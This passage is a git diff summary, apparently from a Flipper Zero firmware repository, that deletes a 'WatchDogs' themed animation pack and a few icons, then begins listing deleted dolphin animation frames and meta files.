.../WatchDogs/Anims/DEDSEC_LOGO/frame_9.bm | Bin 540 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/meta.txt | 14 -- .../WatchDogs/Anims/DEDSEC_OLD/frame_0.bm | Bin 471 -> 0 bytes .../WatchDogs/Anims/DEDSEC_OLD/frame_1.bm | Bin 572 -> 0 bytes .../WatchDogs/Anims/DEDSEC_OLD/frame_10.bm | Bin 852 -> 0 bytes .../WatchDogs/Anims/DEDSEC_OLD/frame_11.bm | Bin 812 -> 0 bytes .../WatchDogs/Anims/DEDSEC_OLD/frame_12.bm | Bin 825 -> 0 bytes .../WatchDogs/Anims/DEDSEC_OLD/frame_13.bm | Bin 817 -> 0 bytes .../WatchDogs/Anims/DEDSEC_OLD/frame_14.bm | Bin 852 -> 0 bytes .../WatchDogs/Anims/DEDSEC_OLD/frame_15.bm | Bin 782 -> 0 bytes .../WatchDogs/Anims/DEDSEC_OLD/frame_16.bm | Bin 860 -> 0 bytes .../WatchDogs/Anims/DEDSEC_OLD/frame_17.bm | Bin 823 -> 0 bytes .../WatchDogs/Anims/DEDSEC_OLD/frame_18.bm | Bin 782 -> 0 bytes .../WatchDogs/Anims/DEDSEC_OLD/frame_19.bm | Bin 852 -> 0 bytes .../WatchDogs/Anims/DEDSEC_OLD/frame_2.bm | Bin 571 -> 0 bytes .../WatchDogs/Anims/DEDSEC_OLD/frame_20.bm | Bin 782 -> 0 bytes .../WatchDogs/Anims/DEDSEC_OLD/frame_3.bm | Bin 568 -> 0 bytes .../WatchDogs/Anims/DEDSEC_OLD/frame_4.bm | Bin 568 -> 0 bytes .../WatchDogs/Anims/DEDSEC_OLD/frame_5.bm | Bin 603 -> 0 bytes .../WatchDogs/Anims/DEDSEC_OLD/frame_6.bm | Bin 643 -> 0 bytes .../WatchDogs/Anims/DEDSEC_OLD/frame_7.bm | Bin 689 -> 0 bytes .../WatchDogs/Anims/DEDSEC_OLD/frame_8.bm | Bin 579 -> 0 bytes .../WatchDogs/Anims/DEDSEC_OLD/frame_9.bm | Bin 686 -> 0 bytes .../WatchDogs/Anims/DEDSEC_OLD/meta.txt | 14 -- .../WatchDogs/Anims/DEDSEC_TALK/frame_0.bm | Bin 518 -> 0 bytes .../WatchDogs/Anims/DEDSEC_TALK/frame_1.bm | Bin 829 -> 0 bytes .../WatchDogs/Anims/DEDSEC_TALK/frame_10.bm | Bin 602 -> 0 bytes .../WatchDogs/Anims/DEDSEC_TALK/frame_11.bm | Bin 626 -> 0 bytes .../WatchDogs/Anims/DEDSEC_TALK/frame_12.bm | Bin 584 -> 0 bytes .../WatchDogs/Anims/DEDSEC_TALK/frame_13.bm | Bin 573 -> 0 bytes .../WatchDogs/Anims/DEDSEC_TALK/frame_14.bm | Bin 562 -> 0 bytes .../WatchDogs/Anims/DEDSEC_TALK/frame_15.bm | Bin 562 -> 0 bytes .../WatchDogs/Anims/DEDSEC_TALK/frame_16.bm | Bin 554 -> 0 bytes .../WatchDogs/Anims/DEDSEC_TALK/frame_17.bm | Bin 578 -> 0 bytes .../WatchDogs/Anims/DEDSEC_TALK/frame_2.bm | Bin 831 -> 0 bytes .../WatchDogs/Anims/DEDSEC_TALK/frame_3.bm | Bin 712 -> 0 bytes .../WatchDogs/Anims/DEDSEC_TALK/frame_4.bm | Bin 661 -> 0 bytes .../WatchDogs/Anims/DEDSEC_TALK/frame_5.bm | Bin 665 -> 0 bytes .../WatchDogs/Anims/DEDSEC_TALK/frame_6.bm | Bin 657 -> 0 bytes .../WatchDogs/Anims/DEDSEC_TALK/frame_7.bm | Bin 676 -> 0 bytes .../WatchDogs/Anims/DEDSEC_TALK/frame_8.bm | Bin 592 -> 0 bytes .../WatchDogs/Anims/DEDSEC_TALK/frame_9.bm | Bin 602 -> 0 bytes .../WatchDogs/Anims/DEDSEC_TALK/meta.txt | 14 -- .../WatchDogs/Anims/DEDSEC_WAVE/frame_0.bm | Bin 249 -> 0 bytes .../WatchDogs/Anims/DEDSEC_WAVE/frame_1.bm | Bin 517 -> 0 bytes .../WatchDogs/Anims/DEDSEC_WAVE/frame_10.bm | Bin 562 -> 0 bytes .../WatchDogs/Anims/DEDSEC_WAVE/frame_11.bm | Bin 625 -> 0 bytes .../WatchDogs/Anims/DEDSEC_WAVE/frame_12.bm | Bin 629 -> 0 bytes .../WatchDogs/Anims/DEDSEC_WAVE/frame_13.bm | Bin 610 -> 0 bytes .../WatchDogs/Anims/DEDSEC_WAVE/frame_14.bm | Bin 567 -> 0 bytes .../WatchDogs/Anims/DEDSEC_WAVE/frame_15.bm | Bin 516 -> 0 bytes .../WatchDogs/Anims/DEDSEC_WAVE/frame_2.bm | Bin 558 -> 0 bytes .../WatchDogs/Anims/DEDSEC_WAVE/frame_3.bm | Bin 603 -> 0 bytes .../WatchDogs/Anims/DEDSEC_WAVE/frame_4.bm | Bin 618 -> 0 bytes .../WatchDogs/Anims/DEDSEC_WAVE/frame_5.bm | Bin 599 -> 0 bytes .../WatchDogs/Anims/DEDSEC_WAVE/frame_6.bm | Bin 554 -> 0 bytes .../WatchDogs/Anims/DEDSEC_WAVE/frame_7.bm | Bin 495 -> 0 bytes .../WatchDogs/Anims/DEDSEC_WAVE/frame_8.bm | Bin 479 -> 0 bytes .../WatchDogs/Anims/DEDSEC_WAVE/frame_9.bm | Bin 503 -> 0 bytes .../WatchDogs/Anims/DEDSEC_WAVE/meta.txt | 14 -- .../WatchDogs/Anims/FINGER/frame_0.bm | Bin 737 -> 0 bytes .../WatchDogs/Anims/FINGER/frame_1.bm | Bin 696 -> 0 bytes .../WatchDogs/Anims/FINGER/frame_2.bm | Bin 758 -> 0 bytes .../WatchDogs/Anims/FINGER/frame_3.bm | Bin 786 -> 0 bytes .../WatchDogs/Anims/FINGER/meta.txt | 14 -- .../WatchDogs/Anims/GUNS_CAR/frame_0.bm | Bin 439 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/frame_1.bm | Bin 728 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/frame_10.bm | Bin 606 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/frame_11.bm | Bin 631 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/frame_12.bm | Bin 652 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/frame_13.bm | Bin 683 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/frame_14.bm | Bin 744 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/frame_15.bm | Bin 699 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/frame_16.bm | Bin 661 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/frame_17.bm | Bin 805 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/frame_18.bm | Bin 923 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/frame_19.bm | Bin 721 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/frame_2.bm | Bin 773 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/frame_20.bm | Bin 765 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/frame_21.bm | Bin 761 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/frame_3.bm | Bin 834 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/frame_4.bm | Bin 800 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/frame_5.bm | Bin 688 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/frame_6.bm | Bin 612 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/frame_7.bm | Bin 631 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/frame_8.bm | Bin 637 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/frame_9.bm | Bin 631 -> 0 bytes .../WatchDogs/Anims/GUNS_CAR/meta.txt | 14 -- .../WatchDogs/Anims/HANDS/frame_0.bm | Bin 986 -> 0 bytes .../WatchDogs/Anims/HANDS/frame_1.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/HANDS/frame_2.bm | Bin 1006 -> 0 bytes .../WatchDogs/Anims/HANDS/frame_3.bm | Bin 1022 -> 0 bytes .../WatchDogs/Anims/HANDS/frame_4.bm | Bin 1014 -> 0 bytes .../WatchDogs/Anims/HANDS/frame_5.bm | Bin 1005 -> 0 bytes .../WatchDogs/Anims/HANDS/frame_6.bm | Bin 996 -> 0 bytes .../WatchDogs/Anims/HANDS/meta.txt | 14 -- .../WatchDogs/Anims/JOIN_US/frame_0.bm | Bin 157 -> 0 bytes .../WatchDogs/Anims/JOIN_US/frame_1.bm | Bin 151 -> 0 bytes .../WatchDogs/Anims/JOIN_US/meta.txt | 14 -- .../WatchDogs/Anims/LOGO_WD2/frame_0.bm | Bin 110 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_1.bm | Bin 110 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_10.bm | Bin 137 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_11.bm | Bin 203 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_12.bm | Bin 239 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_13.bm | Bin 277 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_14.bm | Bin 323 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_15.bm | Bin 375 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_16.bm | Bin 392 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_17.bm | Bin 391 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_18.bm | Bin 392 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_19.bm | Bin 393 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_2.bm | Bin 128 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_20.bm | Bin 389 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_21.bm | Bin 398 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_22.bm | Bin 406 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_23.bm | Bin 414 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_24.bm | Bin 110 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_25.bm | Bin 187 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_26.bm | Bin 110 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_27.bm | Bin 110 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_28.bm | Bin 172 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_29.bm | Bin 110 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_3.bm | Bin 266 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_30.bm | Bin 110 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_4.bm | Bin 110 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_5.bm | Bin 142 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_6.bm | Bin 210 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_7.bm | Bin 616 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_8.bm | Bin 1019 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/frame_9.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/LOGO_WD2/meta.txt | 14 -- .../WatchDogs/Anims/MARCUS/frame_0.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_1.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_10.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_11.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_12.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_13.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_14.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_15.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_16.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_17.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_18.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_19.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_2.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_20.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_21.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_22.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_23.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_3.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_4.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_5.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_6.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_7.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_8.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/frame_9.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/MARCUS/meta.txt | 14 -- .../WatchDogs/Anims/MUMMY/frame_0.bm | Bin 567 -> 0 bytes .../WatchDogs/Anims/MUMMY/frame_1.bm | Bin 567 -> 0 bytes .../WatchDogs/Anims/MUMMY/frame_2.bm | Bin 519 -> 0 bytes .../WatchDogs/Anims/MUMMY/frame_3.bm | Bin 545 -> 0 bytes .../WatchDogs/Anims/MUMMY/meta.txt | 23 -- .../WatchDogs/Anims/REAPER/frame_0.bm | Bin 725 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_1.bm | Bin 970 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_10.bm | Bin 966 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_11.bm | Bin 1011 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_12.bm | Bin 1024 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_13.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_14.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_15.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_16.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_17.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_18.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_19.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_2.bm | Bin 950 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_20.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_21.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_22.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_23.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_24.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_25.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_26.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_27.bm | Bin 803 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_28.bm | Bin 491 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_29.bm | Bin 149 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_3.bm | Bin 897 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_30.bm | Bin 110 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_31.bm | Bin 110 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_4.bm | Bin 883 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_5.bm | Bin 899 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_6.bm | Bin 914 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_7.bm | Bin 904 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_8.bm | Bin 977 -> 0 bytes .../WatchDogs/Anims/REAPER/frame_9.bm | Bin 952 -> 0 bytes .../WatchDogs/Anims/REAPER/meta.txt | 14 -- .../WatchDogs/Anims/REAPER_ALT/frame_0.bm | Bin 222 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_1.bm | Bin 619 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_10.bm | Bin 788 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_11.bm | Bin 784 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_12.bm | Bin 748 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_13.bm | Bin 734 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_14.bm | Bin 796 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_15.bm | Bin 769 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_16.bm | Bin 960 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_17.bm | Bin 892 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_18.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_19.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_2.bm | Bin 611 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_20.bm | Bin 973 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_21.bm | Bin 934 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_22.bm | Bin 990 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_23.bm | Bin 978 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_24.bm | Bin 955 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_25.bm | Bin 959 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_26.bm | Bin 957 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_27.bm | Bin 950 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_28.bm | Bin 798 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_29.bm | Bin 727 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_3.bm | Bin 608 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_30.bm | Bin 613 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_31.bm | Bin 645 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_32.bm | Bin 882 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_33.bm | Bin 923 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_34.bm | Bin 958 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_35.bm | Bin 970 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_36.bm | Bin 960 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_37.bm | Bin 986 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_38.bm | Bin 978 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_39.bm | Bin 992 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_4.bm | Bin 633 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_40.bm | Bin 978 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_41.bm | Bin 976 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_5.bm | Bin 637 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_6.bm | Bin 657 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_7.bm | Bin 699 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_8.bm | Bin 769 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/frame_9.bm | Bin 778 -> 0 bytes .../WatchDogs/Anims/REAPER_ALT/meta.txt | 14 -- .../WatchDogs/Anims/SKULL/frame_0.bm | Bin 407 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_1.bm | Bin 792 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_10.bm | Bin 847 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_11.bm | Bin 853 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_12.bm | Bin 849 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_13.bm | Bin 859 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_14.bm | Bin 848 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_15.bm | Bin 839 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_16.bm | Bin 813 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_17.bm | Bin 771 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_18.bm | Bin 522 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_19.bm | Bin 504 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_2.bm | Bin 700 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_20.bm | Bin 538 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_21.bm | Bin 543 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_22.bm | Bin 536 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_23.bm | Bin 522 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_24.bm | Bin 441 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_25.bm | Bin 539 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_26.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_3.bm | Bin 701 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_4.bm | Bin 509 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_5.bm | Bin 488 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_6.bm | Bin 682 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_7.bm | Bin 688 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_8.bm | Bin 751 -> 0 bytes .../WatchDogs/Anims/SKULL/frame_9.bm | Bin 827 -> 0 bytes .../WatchDogs/Anims/SKULL/meta.txt | 14 -- .../WatchDogs/Anims/SKULL_SPIN/frame_0.bm | Bin 263 -> 0 bytes .../WatchDogs/Anims/SKULL_SPIN/frame_1.bm | Bin 379 -> 0 bytes .../WatchDogs/Anims/SKULL_SPIN/frame_10.bm | Bin 525 -> 0 bytes .../WatchDogs/Anims/SKULL_SPIN/frame_11.bm | Bin 547 -> 0 bytes .../WatchDogs/Anims/SKULL_SPIN/frame_12.bm | Bin 617 -> 0 bytes .../WatchDogs/Anims/SKULL_SPIN/frame_13.bm | Bin 582 -> 0 bytes .../WatchDogs/Anims/SKULL_SPIN/frame_14.bm | Bin 569 -> 0 bytes .../WatchDogs/Anims/SKULL_SPIN/frame_15.bm | Bin 547 -> 0 bytes .../WatchDogs/Anims/SKULL_SPIN/frame_16.bm | Bin 570 -> 0 bytes .../WatchDogs/Anims/SKULL_SPIN/frame_17.bm | Bin 575 -> 0 bytes .../WatchDogs/Anims/SKULL_SPIN/frame_18.bm | Bin 338 -> 0 bytes .../WatchDogs/Anims/SKULL_SPIN/frame_2.bm | Bin 640 -> 0 bytes .../WatchDogs/Anims/SKULL_SPIN/frame_3.bm | Bin 600 -> 0 bytes .../WatchDogs/Anims/SKULL_SPIN/frame_4.bm | Bin 612 -> 0 bytes .../WatchDogs/Anims/SKULL_SPIN/frame_5.bm | Bin 550 -> 0 bytes .../WatchDogs/Anims/SKULL_SPIN/frame_6.bm | Bin 526 -> 0 bytes .../WatchDogs/Anims/SKULL_SPIN/frame_7.bm | Bin 514 -> 0 bytes .../WatchDogs/Anims/SKULL_SPIN/frame_8.bm | Bin 525 -> 0 bytes .../WatchDogs/Anims/SKULL_SPIN/frame_9.bm | Bin 514 -> 0 bytes .../WatchDogs/Anims/SKULL_SPIN/meta.txt | 14 -- .../WatchDogs/Anims/SPIRAL/frame_0.bm | Bin 115 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_1.bm | Bin 144 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_10.bm | Bin 641 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_11.bm | Bin 658 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_12.bm | Bin 651 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_13.bm | Bin 656 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_14.bm | Bin 640 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_15.bm | Bin 636 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_16.bm | Bin 626 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_17.bm | Bin 615 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_18.bm | Bin 518 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_19.bm | Bin 479 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_2.bm | Bin 200 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_20.bm | Bin 343 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_21.bm | Bin 255 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_22.bm | Bin 175 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_23.bm | Bin 120 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_3.bm | Bin 298 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_4.bm | Bin 370 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_5.bm | Bin 475 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_6.bm | Bin 544 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_7.bm | Bin 572 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_8.bm | Bin 661 -> 0 bytes .../WatchDogs/Anims/SPIRAL/frame_9.bm | Bin 598 -> 0 bytes .../WatchDogs/Anims/SPIRAL/meta.txt | 14 -- .../WatchDogs/Anims/manifest.txt | 142 ------------ .../Icons/NFC/NFC_dolphin_emulation_47x61.bmx | Bin 486 -> 0 bytes .../Icons/Passport/passport_bad_46x49.bmx | Bin 193 -> 0 bytes .../Icons/Passport/passport_happy_46x49.bmx | Bin 207 -> 0 bytes .../Icons/Passport/passport_okay_46x49.bmx | Bin 197 -> 0 bytes .../Icons/RFID/RFIDDolphinReceive_97x61.bmx | Bin 532 -> 0 bytes .../Icons/RFID/RFIDDolphinSend_97x61.bmx | Bin 532 -> 0 bytes .../Icons/RFID/RFIDDolphinSuccess_108x57.bmx | Bin 485 -> 0 bytes .../WatchDogs/Icons/SubGhz/Fishing_123x52.bmx | Bin 438 -> 0 bytes .../Icons/SubGhz/Scanning_123x52.bmx | Bin 438 -> 0 bytes 1553 files changed, 2 insertions(+), 1788 deletions(-) delete mode 100644 assets/resources/dolphin/L1_Boxing_128x64/frame_0.bm delete mode 100644 assets/resources/dolphin/L1_Boxing_128x64/frame_1.bm delete mode 100644 assets/resources/dolphin/L1_Boxing_128x64/frame_2.bm delete mode 100644 assets/resources/dolphin/L1_Boxing_128x64/frame_3.bm delete mode 100644 assets/resources/dolphin/L1_Boxing_128x64/frame_4.bm delete mode 100644 assets/resources/dolphin/L1_Boxing_128x64/frame_5.bm delete mode 100644 assets/resources/dolphin/L1_Boxing_128x64/frame_6.bm delete mode 100644 assets/resources/dolphin/L1_Boxing_128x64/meta.txt delete mode 100644 assets/resources/dolphin/L1_Cry_128x64/frame_0.bm delete mode 100644 assets/resources/dolphin/L1_Cry_128x64/frame_1.bm delete mode 100644 assets/resources/dolphin/L1_Cry_128x64/frame_2.bm delete mode 100644 assets/resources/dolphin/L1_Cry_128x64/frame_3.bm delete mode 100644 assets/resources/dolphin/L1_Cry_128x64/frame_4.bm delete mode 100644 assets/resources/dolphin/L1_Cry_128x64/frame_5.bm delete mode 100644 assets/resources/dolphin/L1_Cry_128x64/frame_6.bm delete mode 100644 assets/resources/dolphin/L1_Cry_128x64/frame_7.bm delete mode 100644 assets/resources/dolphin/L1_Cry_128x64/meta.txt delete mode 100644 assets/resources/dolphin/L1_Furippa1_128x64/frame_0.bm delete mode 100644 assets/resources/dolphin/L1_Furippa1_128x64/frame_1.bm delete mode 100644 assets/resources/dolphin/L1_Furippa1_128x64/frame_10.bm delete mode 100644 assets/resources/dolphin/L1_Furippa1_128x64/frame_11.bm delete mode 100644 assets/resources/dolphin/L1_Furippa1_128x64/frame_12.bm delete mode 100644 assets/resources/dolphin/L1_Furippa1_128x64/frame_13.bm delete mode 100644 assets/resources/dolphin/L1_Furippa1_128x64/frame_14.bm delete mode 100644 assets/resources/dolphin/L1_Furippa1_128x64/frame_15.bm delete mode 100644 assets/resources/dolphin/L1_Furippa1_128x64/frame_16.bm delete mode 100644 assets/resources/dolphin/L1_Furippa1_128x64/frame_17.bm delete mode 100644 assets/resources/dolphin/L1_Furippa1_128x64/frame_18.bm delete mode 100644 assets/resources/dolphin/L1_Furippa1_128x64/frame_2.bm delete mode 100644 assets/resources/dolphin/L1_Furippa1_128x64/frame_3.bm delete mode 100644 assets/resources/dolphin/L1_Furippa1_128x64/frame_4.bm delete mode 100644 assets/resources/dolphin/L1_Furippa1_128x64/frame_5.bm delete mode 100644 assets/resources/dolphin/L1_Furippa1_128x64/frame_6.bm delete mode 100644 assets/resources/dolphin/L1_Furippa1_128x64/frame_7.bm delete mode 100644 assets/resources/dolphin/L1_Furippa1_128x64/frame_8.bm delete 